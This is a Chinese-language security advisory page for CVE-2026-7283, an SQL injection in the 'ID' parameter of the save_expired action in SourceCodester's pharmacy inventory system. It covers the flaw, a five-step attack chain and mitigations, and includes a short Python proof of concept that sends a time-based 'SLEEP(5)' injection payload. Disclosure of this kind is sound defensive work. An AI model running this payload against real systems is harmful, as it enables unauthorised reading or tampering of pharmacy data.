IPBUF安全漏洞报告
English
CVE-2026-7283 CVSS 4.7 中危

CVE-2026-7283 SourceCodester药房系统SQL注入漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7283
漏洞类型
SQL注入
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Sales and Inventory System

相关标签

SQL注入CVE-2026-7283SourceCodesterWeb安全Pharmacy System

漏洞概述

SourceCodester Pharmacy Sales and Inventory System 1.0版本中存在一处严重的安全漏洞。该漏洞源于/ajax.php?action=save_expired文件中的save_expired函数未能正确处理用户输入。具体而言,参数ID存在过滤缺失,导致攻击者能够构造恶意SQL语句进行注入攻击。由于该漏洞可被远程利用,且利用代码已公开,建议管理员尽快采取修复措施以防止数据泄露或篡改。

技术细节

该漏洞属于典型的SQL注入漏洞,源于应用程序在处理数据库查询时缺乏安全编码规范。具体位于SourceCodester Pharmacy Sales and Inventory System 1.0的/ajax.php脚本中,当调用save_expired功能时,系统直接获取用户提交的“ID”参数,并将其动态拼接到SQL查询语句中,未进行有效的输入验证或使用参数化查询。攻击者可以通过向受影响端点发送特制的HTTP请求,在ID参数中注入恶意的SQL语法片段。尽管CVSS向量显示攻击需要高权限(PR:H),这意味着利用该漏洞通常需要预先登录或具备特定身份,但一旦触发,攻击者即可在数据库上下文中执行任意SQL命令。这种漏洞可能导致敏感数据(如药品库存、销售记录)泄露,甚至导致数据被篡改或删除。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统运行的是SourceCodester Pharmacy Sales and Inventory System 1.0版本。
STEP 2
2. 获取访问权限
由于CVSS向量显示PR:H(高权限),攻击者首先需要通过合法或非法手段获取一个高权限账户并登录系统。
STEP 3
3. 发送恶意请求
攻击者构造包含恶意SQL语句的HTTP POST请求发送至/ajax.php,并在action参数指定为save_expired,同时在ID参数中注入Payload。
STEP 4
4. 执行SQL注入
后端服务器解析请求,将恶意的ID参数拼接到SQL语句中并执行,导致数据库响应攻击者的指令。
STEP 5
5. 数据窃取或破坏
攻击者利用注入漏洞读取敏感数据(如库存信息、用户数据)或修改、删除数据库内容,影响系统的机密性、完整性和可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(target_url): # The vulnerable endpoint url = f"{target_url}/ajax.php" # Payload to test SQL Injection using time-based blind technique # Injecting ' AND SLEEP(5)-- - to delay response payload_data = { "action": "save_expired", "ID": "1 AND SLEEP(5)-- -" } try: print(f"[*] Sending request to {url}...") response = requests.post(url, data=payload_data) # If the response takes longer than 5 seconds, it indicates the SQL query executed the sleep function if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection exists in parameter 'ID'.") else: print("[-] Vulnerability not confirmed or patch applied.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli(target)

影响范围

SourceCodester Pharmacy Sales and Inventory System 1.0

防御指南

临时缓解措施
建议立即在ID参数处理逻辑中实施严格的输入过滤机制,移除或转义特殊字符(如单引号、双引号)。同时,将SQL查询改为使用预编译语句以从根源上防止注入。在官方修复补丁发布前,建议限制对/ajax.php接口的访问权限,或在WAF层面部署规则拦截针对save_expired动作的恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表